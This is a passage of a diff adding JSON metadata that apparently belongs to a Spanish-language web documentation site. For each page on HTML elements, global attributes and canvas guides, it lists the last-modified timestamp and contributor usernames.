+      "Enesimus",
+      "javichito"
+    ]
+  },
+  "Web/Guide/CSS/probando_media_queries": {
+    "modified": "2019-03-23T23:07:40.812Z",
+    "contributors": [
+      "TibicenasDesign"
+    ]
+  },
+  "Web/Guide/DOM": {
+    "modified": "2019-03-23T23:27:17.444Z",
+    "contributors": [
+      "Sheppy"
+    ]
+  },
+  "Web/Guide/DOM/Events": {
+    "modified": "2019-03-23T23:27:18.635Z",
+    "contributors": [
+      "Sheppy"
+    ]
+  },
+  "Web/Guide/DOM/Events/Creacion_y_Activación_Eventos": {
+    "modified": "2019-03-23T22:58:27.867Z",
+    "contributors": [
+      "gAval997",
+      "juanpablocarrillo",
+      "BrunoViera",
+      "enreda",
+      "Soid"
+    ]
+  },
+  "Web/Guide/DOM/Events/eventos_controlador": {
+    "modified": "2020-08-01T23:47:25.815Z",
+    "contributors": [
+      "Enesimus",
+      "alesalva"
+    ]
+  },
+  "Web/Guide/Graphics": {
+    "modified": "2020-05-19T14:31:25.384Z",
+    "contributors": [
+      ".bkjop0",
+      "lassergraf",
+      "CarlosEduardoEncinas",
+      "pescadito.2007",
+      "rogeliomtx",
+      "CarlosQuijano",
+      "lalo2013"
+    ]
+  },
+  "Web/Guide/HTML/Canvas_tutorial": {
+    "modified": "2019-03-23T23:18:23.090Z",
+    "contributors": [
+      "fniwes",
+      "DeiberChacon",
+      "jeancgarciaq"
+    ]
+  },
+  "Web/Guide/HTML/Canvas_tutorial/Advanced_animations": {
+    "modified": "2019-03-23T22:11:01.831Z",
+    "contributors": [
+      "elagat"
+    ]
+  },
+  "Web/Guide/HTML/Canvas_tutorial/Applying_styles_and_colors": {
+    "modified": "2020-05-15T18:35:37.655Z",
+    "contributors": [
+      "dimaio77"
+    ]
+  },
+  "Web/Guide/HTML/Canvas_tutorial/Basic_animations": {
+    "modified": "2019-10-10T16:52:52.102Z",
+    "contributors": [
+      "Sergio_Gonzalez_Collado",
+      "lajaso",
+      "Huarseral"
+    ]
+  },
+  "Web/Guide/HTML/Canvas_tutorial/Basic_usage": {
+    "modified": "2020-04-24T15:40:04.067Z",
+    "contributors": [
+      "Davidaz",
+      "mariogalan",
+      "teoli",
+      "guillermomartinmarco",
+      "eoasakura",
+      "mamigove"
+    ]
+  },
+  "Web/Guide/HTML/Canvas_tutorial/Dibujando_formas": {
+    "modified": "2019-03-23T23:15:03.361Z",
+    "contributors": [
+      "cepeami01",
+      "AlexisRC463",
+      "matiasrvergara",
+      "Blackangel1965",
+      "ErikMj69",
+      "alkaithil",
+      "faqndo",
+      "martinzaraterafael",
+      "gabriel15",
+      "Marezelej"
+    ]
+  },
+  "Web/Guide/HTML/Canvas_tutorial/Hit_regions_and_accessibility": {
+    "modified": "2019-03-18T21:31:01.983Z",
+    "contributors": [
+      "cepeami01"
+    ]
+  },
+  "Web/Guide/HTML/Canvas_tutorial/Optimizing_canvas": {
+    "modified": "2019-03-23T23:18:04.030Z",
+    "contributors": [
+      "Cax"
+    ]
+  },
+  "Web/Guide/HTML/Canvas_tutorial/Pixel_manipulation_with_canvas": {
+    "modified": "2019-03-18T21:42:58.094Z",
+    "contributors": [
+      "Luis_Gentil",
+      "JulianSoto",
+      "anfuca"
+    ]
+  },
+  "Web/Guide/HTML/Editable_content": {
+    "modified": "2019-03-23T22:09:49.599Z",
+    "contributors": [
+      "vinyetcg",
+      "JoaquinGiordano",
+      "V.Morantes"
+    ]
+  },
+  "Web/Guide/HTML/Introduction_alhtml_clone": {
+    "modified": "2019-03-23T23:11:36.473Z",
+    "contributors": [
+      "emanuelvega",
+      "Cristhoper"
+    ]
+  },
+  "Web/Guide/HTML/categorias_de_contenido": {
+    "modified": "2020-09-06T09:32:45.431Z",
+    "contributors": [
+      "Nachec",
+      "BrayanAvian",
+      "raecillacastellana",
+      "eljonims",
+      "eliasrodeloso"
+    ]
+  },
+  "Web/Guide/Movil": {
+    "modified": "2019-03-23T22:48:50.706Z",
+    "contributors": [
+      "miguelsp"
+    ]
+  },
+  "Web/Guide/Parsing_and_serializing_XML": {
+    "modified": "2019-03-23T22:10:22.365Z",
+    "contributors": [
+      "FenixAlive"
+    ]
+  },
+  "Web/Guide/Performance": {
+    "modified": "2019-03-23T23:21:17.984Z",
+    "contributors": [
+      "DeiberChacon",
+      "Sheppy"
+    ]
+  },
+  "Web/Guide/Performance/Usando_web_workers": {
+    "modified": "2020-09-27T14:14:17.948Z",
+    "contributors": [
+      "hendaniel",
+      "arbesulo",
+      "zynt1102",
+      "albertovelazmoliner",
+      "luisdos",
+      "EricMoIr",
+      "hmorv",
+      "DeiberChacon",
+      "rsalgado",
+      "mvargasmoran"
+    ]
+  },
+  "Web/Guide/Usando_Objetos_FormData": {
+    "modified": "2019-03-23T23:19:26.530Z",
+    "contributors": [
+      "ramingar",
+      "Siro_Diaz",
+      "wilo"
+    ]
+  },
+  "Web/HTML": {
+    "modified": "2020-12-04T02:55:42.795Z",
+    "contributors": [
+      "SphinxKnight",
+      "cesarmerino.ec71",
+      "barriosines07",
+      "Nachec",
+      "Enesimus",
+      "Neto503",
+      "hackertj",
+      "chrisdavidmills",
+      "blanchart",
+      "roocce",
+      "titox",
+      "donpaginasweboficial",
+      "Kenikser",
+      "RayPL",
+      "YeseniaMariela",
+      "gabriel-ar",
+      "PabloLajarin",
+      "JoseBarakat",
+      "raecillacastellana",
+      "israel-munoz",
+      "jsx",
+      "Hteemo",
+      "eduMXM",
+      "enesimo",
+      "MARVINFLORENTINO",
+      "pekechis",
+      "monserratcallejaalmazan",
+      "thzunder",
+      "roheru",
+      "vltamara",
+      "ArcangelZith",
+      "ronyworld",
+      "LeoHirsch",
+      "CarlosQuijano",
+      "AngelFQC"
+    ]
+  },
+  "Web/HTML/Atributos": {
+    "modified": "2019-03-23T23:21:50.772Z",
+    "contributors": [
+      "raecillacastellana",
+      "Cdam",
+      "vltamara",
+      "Shinigami-sama",
+      "welm",
+      "noografo",
+      "Benito",
+      "LeoHirsch",
+      "sha"
+    ]
+  },
+  "Web/HTML/Atributos/accept": {
+    "modified": "2020-10-15T22:34:00.656Z",
+    "contributors": [
+      "Nachec"
+    ]
+  },
+  "Web/HTML/Atributos/autocomplete": {
+    "modified": "2019-04-06T00:39:59.162Z",
+    "contributors": [
+      "qmarquez",
+      "Raulpascual2"
+    ]
+  },
+  "Web/HTML/Atributos/min": {
+    "modified": "2020-10-15T22:33:58.169Z",
+    "contributors": [
+      "Nachec"
+    ]
+  },
+  "Web/HTML/Atributos/minlength": {
+    "modified": "2020-10-15T22:33:56.870Z",
+    "contributors": [
+      "Nachec"
+    ]
+  },
+  "Web/HTML/Atributos/multiple": {
+    "modified": "2020-09-08T01:48:55.405Z",
+    "contributors": [
+      "Nachec"
+    ]
+  },
+  "Web/HTML/Atributos_Globales": {
+    "modified": "2020-10-15T21:39:25.776Z",
+    "contributors": [
+      "Nachec",
+      "PacoVela",
+      "imangas",
+      "vltamara"
+    ]
+  },
+  "Web/HTML/Atributos_Globales/accesskey": {
+    "modified": "2019-03-23T22:41:37.238Z",
+    "contributors": [
+      "jcr4"
+    ]
+  },
+  "Web/HTML/Atributos_Globales/autocapitalize": {
+    "modified": "2020-10-15T22:12:15.178Z",
+    "contributors": [
+      "Nachec",
+      "carlosgocereceda",
+      "WilsonIsAliveClone",
+      "Raulpascual2"
+    ]
+  },
+  "Web/HTML/Atributos_Globales/class": {
+    "modified": "2019-03-23T22:41:38.505Z",
+    "contributors": [
+      "imangas",
+      "jcr4"
+    ]
+  },
+  "Web/HTML/Atributos_Globales/contenteditable": {
+    "modified": "2019-03-23T22:41:31.507Z",
+    "contributors": [
+      "ManuAlvarado22",
+      "jcr4"
+    ]
+  },
+  "Web/HTML/Atributos_Globales/contextmenu": {
+    "modified": "2019-03-23T22:41:33.594Z",
+    "contributors": [
+      "jcr4"
+    ]
+  },
+  "Web/HTML/Atributos_Globales/data-*": {
+    "modified": "2019-06-27T12:32:36.980Z",
+    "contributors": [
+      "deyvirosado",
+      "jcr4"
+    ]
+  },
+  "Web/HTML/Atributos_Globales/dir": {
+    "modified": "2019-03-23T22:41:19.442Z",
+    "contributors": [
+      "jcr4"
+    ]
+  },
+  "Web/HTML/Atributos_Globales/draggable": {
+    "modified": "2019-03-23T22:41:17.791Z",
+    "contributors": [
+      "JuanSerrano02",
+      "jcr4"
+    ]
+  },
+  "Web/HTML/Atributos_Globales/dropzone": {
+    "modified": "2019-03-23T22:41:19.266Z",
+    "contributors": [
+      "JuanSerrano02",
+      "jcr4"
+    ]
+  },
+  "Web/HTML/Atributos_Globales/hidden": {
+    "modified": "2019-03-23T22:41:18.690Z",
+    "contributors": [
+      "jcr4"
+    ]
+  },
+  "Web/HTML/Atributos_Globales/id": {
+    "modified": "2019-03-23T22:45:39.709Z",
+    "contributors": [
+      "vanesa",
+      "DavidZabaleta",
+      "eoasakura"
+    ]
+  },
+  "Web/HTML/Atributos_Globales/is": {
+    "modified": "2020-10-15T22:04:27.264Z",
+    "contributors": [
+      "daniel.duarte"
+    ]
+  },
+  "Web/HTML/Atributos_Globales/itemid": {
+    "modified": "2019-03-23T22:37:36.858Z",
+    "contributors": [
+      "pekechis"
+    ]
+  },
+  "Web/HTML/Atributos_Globales/itemprop": {
+    "modified": "2019-03-23T22:41:15.543Z",
+    "contributors": [
+      "rhssr",
+      "jcr4"
+    ]
+  },
+  "Web/HTML/Atributos_Globales/itemref": {
+    "modified": "2019-03-23T22:36:41.055Z",
+    "contributors": [
+      "jcr4"
+    ]
+  },
+  "Web/HTML/Atributos_Globales/itemscope": {
+    "modified": "2020-10-15T21:41:28.202Z",
+    "contributors": [
+      "JuanSerrano02",
+      "chrisvpr",
+      "jcr4"
+    ]
+  },
+  "Web/HTML/Atributos_Globales/lang": {
+    "modified": "2019-03-23T22:41:11.276Z",
+    "contributors": [
+      "agonzalezml",
+      "jcr4"
+    ]
+  },
+  "Web/HTML/Atributos_Globales/slot": {
+    "modified": "2020-10-15T22:04:16.315Z",
+    "contributors": [
+      "daniel.duarte"
+    ]
+  },
+  "Web/HTML/Atributos_Globales/spellcheck": {
+    "modified": "2019-03-23T22:41:06.455Z",
+    "contributors": [
+      "jcr4"
+    ]
+  },
+  "Web/HTML/Atributos_Globales/style": {
+    "modified": "2019-03-23T22:41:09.210Z",
+    "contributors": [
+      "jcr4"
+    ]
+  },
+  "Web/HTML/Atributos_Globales/tabindex": {
+    "modified": "2019-07-12T03:22:15.997Z",
+    "contributors": [
+      "ChrisMHM",
+      "bamvoo",
+      "cabetancourtc",
+      "StripTM",
+      "jcr4"
+    ]
+  },
+  "Web/HTML/Atributos_Globales/title": {
+    "modified": "2019-03-23T22:40:44.282Z",
+    "contributors": [
+      "jcr4"
+    ]
+  },
+  "Web/HTML/Atributos_Globales/translate": {
+    "modified": "2019-03-23T22:40:27.406Z",
+    "contributors": [
+      "jcr4"
+    ]
+  },
+  "Web/HTML/Atributos_Globales/x-ms-acceleratorkey": {
+    "modified": "2019-03-18T21:20:44.665Z",
+    "contributors": [
+      "WriestTavo"
+    ]
+  },
+  "Web/HTML/Atributos_de_configuracion_CORS": {
+    "modified": "2019-03-23T22:46:11.986Z",
+    "contributors": [
+      "eporta88",
+      "virlliNia",
+      "vltamara"
+    ]
+  },
+  "Web/HTML/Block-level_elements": {
+    "modified": "2019-03-18T20:44:10.775Z",
+    "contributors": [
+      "ManuelPalominochirote",
+      "raecillacastellana",
+      "dinael",
+      "pekechis",
+      "erdavo",
+      "vltamara",
+      "teoli",
+      "MILTON.AGUILAR"
+    ]
+  },
+  "Web/HTML/Canvas": {
+    "modified": "2019-10-10T16:45:32.554Z",
+    "contributors": [
+      "lajaso",
+      "jagomf",
+      "teoli",
+      "ethertank",
+      "jesusmercado",
+      "dextra",
+      "beto21",
+      "inma_610",
+      "RickieesES",
+      "Pgulijczuk",
+      "kourt_xand",
+      "Fifthtoe",
+      "Mgjbot"
+    ]
+  },
+  "Web/HTML/Canvas/A_basic_ray-caster": {
+    "modified": "2019-03-19T08:57:21.057Z",
+    "contributors": [
+      "AzazelN28",
+      "Fandres91",
+      "dkocho4",
+      "preteric"
+    ]
+  },
+  "Web/HTML/Canvas/Drawing_graphics_with_canvas": {
+    "modified": "2019-03-23T23:19:53.719Z",
+    "contributors": [
+      "teoli",
+      "rubencidlara"
+    ]
+  },
+  "Web/HTML/Consejos_para_la_creación_de_páginas_HTML_de_carga_rápida": {
+    "modified": "2020-07-16T22:22:32.156Z",
+    "contributors": [
+      "ZKoaLa",
+      "nazhaj",
+      "JuanC_01"
+    ]
+  },
+  "Web/HTML/Elemento": {
+    "modified": "2020-07-13T03:12:39.708Z",
+    "contributors": [
+      "Enesimus",
+      "IsraelFloresDGA",
+      "ivanhelo",
+      "gabriel-ar",
+      "raecillacastellana",
+      "imangas",
+      "jccancelo",
+      "vltamara",
+      "teoli",
+      "LinoJaime",
+      "Rkovac",
+      "betoscopio",
+      "semptrion",
+      "StripTM",
+      "deimidis",
+      "Mgjbot",
+      "Klosma",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/Elementos_títulos": {
+    "modified": "2019-03-23T23:41:24.635Z",
+    "contributors": [
+      "evaferreira",
+      "chrisdavidmills",
+      "israel-munoz",
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/Etiqueta_Personalizada_HTML5": {
+    "modified": "2019-03-23T22:40:57.260Z",
+    "contributors": [
+      "Lazaro"
+    ]
+  },
+  "Web/HTML/Elemento/Shadow": {
+    "modified": "2019-03-23T22:06:38.273Z",
+    "contributors": [
+      "H4isan"
+    ]
+  },
+  "Web/HTML/Elemento/Tipos_de_elementos": {
+    "modified": "2019-03-23T23:46:22.404Z",
+    "contributors": [
+      "Sebastianz",
+      "jigs12",
+      "teoli",
+      "ethertank",
+      "Klosma",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/a": {
+    "modified": "2020-12-02T02:55:47.706Z",
+    "contributors": [
+      "SphinxKnight",
+      "xtrs84zk",
+      "HectorFranco",
+      "sergio_p_d",
+      "julioematasv",
+      "ManuelSLemos",
+      "raecillacastellana",
+      "teoli",
+      "Nukeador",
+      "RickieesES",
+      "HenryGR",
+      "Mgjbot"
+    ]
+  },
+  "Web/HTML/Elemento/abbr": {
+    "modified": "2019-03-23T23:41:48.686Z",
+    "contributors": [
+      "vanesa",
+      "abaracedo",
+      "jigs12",
+      "welm",
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/acronym": {
+    "modified": "2019-03-23T23:41:54.391Z",
+    "contributors": [
+      "Sebastianz",
+      "jigs12",
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/address": {
+    "modified": "2019-03-23T23:41:48.972Z",
+    "contributors": [
+      "abaracedo",
+      "jigs12",
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/applet": {
+    "modified": "2019-03-23T23:42:26.076Z",
+    "contributors": [
+      "Sebastianz",
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/area": {
+    "modified": "2019-03-23T23:41:50.345Z",
+    "contributors": [
+      "Sebastianz",
+      "jigs12",
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/article": {
+    "modified": "2020-04-14T03:59:04.779Z",
+    "contributors": [
+      "Jx1ls",
+      "wbamberg",
+      "teoli",
+      "deimidis"
+    ]
+  },
+  "Web/HTML/Elemento/aside": {
+    "modified": "2019-05-13T08:38:38.128Z",
+    "contributors": [
+      "blanchart",
+      "wbamberg",
+      "teoli",
+      "trevorh",
+      "ccarruitero",
+      "inma_610"
+    ]
+  },
+  "Web/HTML/Elemento/audio": {
+    "modified": "2019-03-24T00:17:32.335Z",
+    "contributors": [
+      "wbamberg",
+      "teoli",
+      "tregagnon",
+      "RickieesES",
+      "inma_610"
+    ]
+  },
+  "Web/HTML/Elemento/b": {
+    "modified": "2019-03-23T23:41:59.385Z",
+    "contributors": [
+      "gabrielvol",
+      "Sebastianz",
+      "jigs12",
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/base": {
+    "modified": "2019-03-23T23:41:55.648Z",
+    "contributors": [
+      "raecillacastellana",
+      "Sebastianz",
+      "jigs12",
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/basefont": {
+    "modified": "2019-03-23T23:42:33.059Z",
+    "contributors": [
+      "Sebastianz",
+      "jigs12",
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/bdi": {
+    "modified": "2019-03-23T22:37:44.087Z",
+    "contributors": [
+      "pekechis",
+      "teoli"
+    ]
+  },
+  "Web/HTML/Elemento/bdo": {
+    "modified": "2019-03-23T23:41:59.174Z",
+    "contributors": [
+      "Sebastianz",
+      "jigs12",
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/bgsound": {
+    "modified": "2019-10-10T16:35:21.119Z",
+    "contributors": [
+      "jcr4"
+    ]
+  },
+  "Web/HTML/Elemento/big": {
+    "modified": "2019-03-23T23:42:00.157Z",
+    "contributors": [
+      "Sebastianz",
+      "jigs12",
+      "welm",
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/blink": {
+    "modified": "2019-10-10T16:37:40.291Z",
+    "contributors": [
+      "teoli",
+      "jcr4"
+    ]
+  },
+  "Web/HTML/Elemento/blockquote": {
+    "modified": "2019-03-23T23:42:29.095Z",
+    "contributors": [
+      "Sebastianz",
+      "jigs12",
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/body": {
+    "modified": "2020-10-15T22:34:39.725Z",
+    "contributors": [
+      "Nachec"
+    ]
+  },
+  "Web/HTML/Elemento/br": {
+    "modified": "2019-03-23T23:42:25.427Z",
+    "contributors": [
+      "vanesa",
+      "abaracedo",
+      "jigs12",
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/button": {
+    "modified": "2020-10-15T21:13:54.408Z",
+    "contributors": [
+      "MarielaBR",
+      "evaferreira",
+      "Sebastianz",
+      "jigs12",
+      "oece",
+      "teoli",
+      "ethertank",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/canvas": {
+    "modified": "2019-03-24T00:07:43.236Z",
+    "contributors": [
+      "wbamberg",
+      "evaferreira",
+      "teoli",
+      "inma_610",
+      "xaky"
+    ]
+  },
+  "Web/HTML/Elemento/caption": {
+    "modified": "2019-03-23T23:42:13.711Z",
+    "contributors": [
+      "camilai",
+      "Sebastianz",
+      "jigs12",
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/center": {
+    "modified": "2020-04-23T17:50:49.499Z",
+    "contributors": [
+      "JAMC",
+      "blanchart",
+      "Sebastianz",
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/cite": {
+    "modified": "2019-03-23T23:42:34.535Z",
+    "contributors": [
+      "Sebastianz",
+      "jigs12",
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/code": {
+    "modified": "2019-03-23T23:41:28.451Z",
+    "contributors": [
+      "BubuAnabelas",
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/col": {
+    "modified": "2019-03-23T23:42:14.518Z",
+    "contributors": [
+      "Sebastianz",
+      "jigs12",
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/colgroup": {
+    "modified": "2019-03-23T23:42:18.079Z",
+    "contributors": [
+      "Sebastianz",
+      "jigs12",
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/command": {
+    "modified": "2019-10-05T04:48:52.506Z",
+    "contributors": [
+      "titox",
+      "jcr4"
+    ]
+  },
+  "Web/HTML/Elemento/content": {
+    "modified": "2019-03-23T22:36:12.624Z",
+    "contributors": [
+      "jcr4"
+    ]
+  },
+  "Web/HTML/Elemento/data": {
+    "modified": "2019-07-24T08:09:10.849Z",
+    "contributors": [
+      "SphinxKnight",
+      "mikecolina",
+      "raecillacastellana"
+    ]
+  },
+  "Web/HTML/Elemento/datalist": {
+    "modified": "2020-10-15T21:13:43.994Z",
+    "contributors": [
+      "mfranzke",
+      "hernanarica",
+      "miguelgilmartinez",
+      "Luuis",
+      "SphinxKnight",
+      "teoli",
+      "translatoon",
+      "Izel"
+    ]
+  },
+  "Web/HTML/Elemento/dd": {
+    "modified": "2020-10-15T21:18:43.107Z",
+    "contributors": [
+      "IsraelFloresDGA",
+      "jigs12",
+      "johnmejia",
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/del": {
+    "modified": "2019-03-18T21:11:06.542Z",
+    "contributors": [
+      "duduindo",
+      "teoli",
+      "torresnicolas",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/details": {
+    "modified": "2019-07-23T13:52:13.415Z",
+    "contributors": [
+      "Krnan",
+      "jcr4"
+    ]
+  },
+  "Web/HTML/Elemento/dfn": {
+    "modified": "2019-03-18T21:11:06.323Z",
+    "contributors": [
+      "duduindo",
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/dialog": {
+    "modified": "2020-10-15T21:43:09.315Z",
+    "contributors": [
+      "danielblazquez",
+      "abaracedo"
+    ]
+  },
+  "Web/HTML/Elemento/dir": {
+    "modified": "2019-03-18T21:11:06.122Z",
+    "contributors": [
+      "duduindo",
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/div": {
+    "modified": "2019-03-23T23:42:24.990Z",
+    "contributors": [
+      "Neto2412",
+      "Sebastianz",
+      "jigs12",
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/dl": {
+    "modified": "2020-10-15T21:18:47.033Z",
+    "contributors": [
+      "iign",
+      "IsraelFloresDGA",
+      "jigs12",
+      "johnmejia",
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/dt": {
+    "modified": "2020-10-15T21:18:46.570Z",
+    "contributors": [
+      "IsraelFloresDGA",
+      "jigs12",
+      "ander2",
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/element": {
+    "modified": "2019-03-23T22:38:36.820Z",
+    "contributors": [
+      "raecillacastellana",
+      "kramery"
+    ]
+  },
+  "Web/HTML/Elemento/em": {
+    "modified": "2019-03-23T23:41:24.943Z",
+    "contributors": [
+      "BubuAnabelas",
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/embed": {
+    "modified": "2019-03-24T00:07:02.501Z",
+    "contributors": [
+      "wbamberg",
+      "teoli",
+      "inma_610"
+    ]
+  },
+  "Web/HTML/Elemento/fieldset": {
+    "modified": "2019-03-24T00:04:28.839Z",
+    "contributors": [
+      "dmarchena",
+      "Sebastianz",
+      "teoli",
+      "roperzh",
+      "ethertank",
+      "Klosma",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/figcaption": {
+    "modified": "2020-10-15T21:43:37.764Z",
+    "contributors": [
+      "danieltacho",
+      "danielblazquez",
+      "BrayanAvian",
+      "pekechis"
+    ]
+  },
+  "Web/HTML/Elemento/figure": {
+    "modified": "2019-03-24T00:07:44.105Z",
+    "contributors": [
+      "wbamberg",
+      "teoli",
+      "inma_610",
+      "translatoon"
+    ]
+  },
+  "Web/HTML/Elemento/font": {
+    "modified": "2019-03-23T23:42:25.753Z",
+    "contributors": [
+      "Sebastianz",
+      "jigs12",
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/footer": {
+    "modified": "2019-03-24T00:06:10.667Z",
+    "contributors": [
+      "teoli",
+      "translatoon"
+    ]
+  },
+  "Web/HTML/Elemento/form": {
+    "modified": "2019-03-23T23:38:31.636Z",
+    "contributors": [
+      "teoli",
+      "jesanchez",
+      "jsalinas"
+    ]
+  },
+  "Web/HTML/Elemento/frame": {
+    "modified": "2019-03-23T23:42:33.478Z",
+    "contributors": [
+      "Sebastianz",
+      "jigs12",
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/frameset": {
+    "modified": "2019-03-23T23:42:33.678Z",
+    "contributors": [
+      "Sebastianz",
+      "jigs12",
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/head": {
+    "modified": "2019-03-23T23:41:19.487Z",
+    "contributors": [
+      "israel-munoz",
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/header": {
+    "modified": "2019-09-22T13:38:40.530Z",
+    "contributors": [
+      "duduindo",
+      "erix2016",
+      "wbamberg",
+      "teoli",
+      "trevorh",
+      "deimidis",
+      "translatoon"
+    ]
+  },
+  "Web/HTML/Elemento/hgroup": {
+    "modified": "2020-04-16T18:54:49.840Z",
+    "contributors": [
+      "camsa",
+      "wbamberg",
+      "eazel7",
+      "harthe13",
+      "teoli",
+      "ccarruitero",
+      "percy@mozilla.pe"
+    ]
+  },
+  "Web/HTML/Elemento/hr": {
+    "modified": "2019-03-23T23:41:46.133Z",
+    "contributors": [
+      "wissol",
+      "gabrielvol",
+      "jigs12",
+      "teoli",
+      "welm",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/html": {
+    "modified": "2019-03-23T23:41:20.478Z",
+    "contributors": [
+      "raecillacastellana",
+      "arturoblack",
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/i": {
+    "modified": "2019-03-18T21:11:05.917Z",
+    "contributors": [
+      "duduindo",
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/iframe": {
+    "modified": "2020-10-15T21:20:22.917Z",
+    "contributors": [
+      "mirinnes",
+      "nadya.serrano",
+      "danielblazquez",
+      "duduindo",
+      "wbamberg",
+      "antoiba86",
+      "jhonnycano@hotmail.com",
+      "teoli",
+      "aguztinrs"
+    ]
+  },
+  "Web/HTML/Elemento/image": {
+    "modified": "2019-03-23T22:38:59.070Z",
+    "contributors": [
+      "jcr4"
+    ]
+  },
+  "Web/HTML/Elemento/img": {
+    "modified": "2020-07-12T20:16:35.983Z",
+    "contributors": [
+      "maodecolombia",
+      "thzunder",
+      "teoli",
+      "makoescalzo"
+    ]
+  },
+  "Web/HTML/Elemento/input": {
+    "modified": "2020-07-14T01:15:57.719Z",
+    "contributors": [
+      "maodecolombia",
+      "KacosPro",
+      "moisesalmonte",
+      "israel-munoz",
+      "Alejandra.B",
+      "garciaFullana",
+      "j-light",
+      "chech",
+      "dennistobar",
+      "welm",
+      "Johsua",
+      "byverdu",
+      "chipsweb",
+      "teoli",
+      "ovnicraft"
+    ]
+  },
+  "Web/HTML/Elemento/input/Botón": {
+    "modified": "2019-04-18T16:11:40.984Z",
+    "contributors": [
+      "IsaacAaron",
+      "joelarmad",
+      "LexAenima"
+    ]
+  },
+  "Web/HTML/Elemento/input/checkbox": {
+    "modified": "2019-05-13T05:40:59.628Z",
+    "contributors": [
+      "AlePerez92",
+      "BetsabethTorrres",
+      "j-light",
+      "FranRomero",
+      "JoseEnrique"
+    ]
+  },
+  "Web/HTML/Elemento/input/color": {
+    "modified": "2019-03-23T22:37:43.300Z",
+    "contributors": [
+      "fitojb",
+      "Alesan7"
+    ]
+  },
+  "Web/HTML/Elemento/input/date": {
+    "modified": "2019-10-10T16:45:44.142Z",
+    "contributors": [
+      "ANAIDJM1",
+      "fitojb"
+    ]
+  },
+  "Web/HTML/Elemento/input/datetime": {
+    "modified": "2019-03-23T22:36:20.508Z",
+    "contributors": [
+      "AngelMunoz",
+      "jcr4"
+    ]
+  },
+  "Web/HTML/Elemento/input/email": {
+    "modified": "2020-10-15T22:11:48.198Z",
+    "contributors": [
+      "Nachec",
+      "facuarmo",
+      "MarielaBR"
+    ]
+  },
+  "Web/HTML/Elemento/input/hidden": {
+    "modified": "2020-10-15T22:10:33.714Z",
+    "contributors": [
+      "IsraelFloresDGA"
+    ]
+  },
+  "Web/HTML/Elemento/input/number": {
+    "modified": "2020-10-15T22:26:16.273Z",
+    "contributors": [
+      "roocce"
+    ]
+  },
+  "Web/HTML/Elemento/input/password": {
+    "modified": "2019-03-23T22:38:38.107Z",
+    "contributors": [
+      "MarielaBR",
+      "xxx41",
+      "AlvaroNieto"
+    ]
+  },
+  "Web/HTML/Elemento/input/range": {
+    "modified": "2019-03-18T20:57:13.760Z",
+    "contributors": [
+      "SphinxKnight",
+      "KikeSan",
+      "Luis_Calvo"
+    ]
+  },
+  "Web/HTML/Elemento/input/text": {
+    "modified": "2020-10-15T22:34:26.828Z",
+    "contributors": [
+      "Nachec"
+    ]
+  },
+  "Web/HTML/Elemento/ins": {
+    "modified": "2019-07-06T05:38:19.222Z",
+    "contributors": [
+      "baumannzone",
+      "duduindo",
+      "welm",
+      "teoli",
+      "torresnicolas",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/isindex": {
+    "modified": "2019-03-23T22:36:13.994Z",
+    "contributors": [
+      "jcr4"
+    ]
+  },
+  "Web/HTML/Elemento/kbd": {
+    "modified": "2019-03-18T21:11:05.093Z",
+    "contributors": [
+      "duduindo",
+      "welm",
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/HTML/Elemento/keygen": {
+    "modified": "2019-03-24T00:06:20.618Z",
+    "contributors": [
+      "wbamberg",
+      "teoli",
+      "deimidis"
+    ]
+  },
+  "Web/HTML/Elemento/label": {
+    "modified": "2019-03-23T23:22:26.460Z",
+    "contributors": [
+      "ardillan",
+      "gcejas",
+      "teoli",
+      "WillyMaikowski"
+    ]
+  },
+  "Web/HTML/Elemento/legend": {
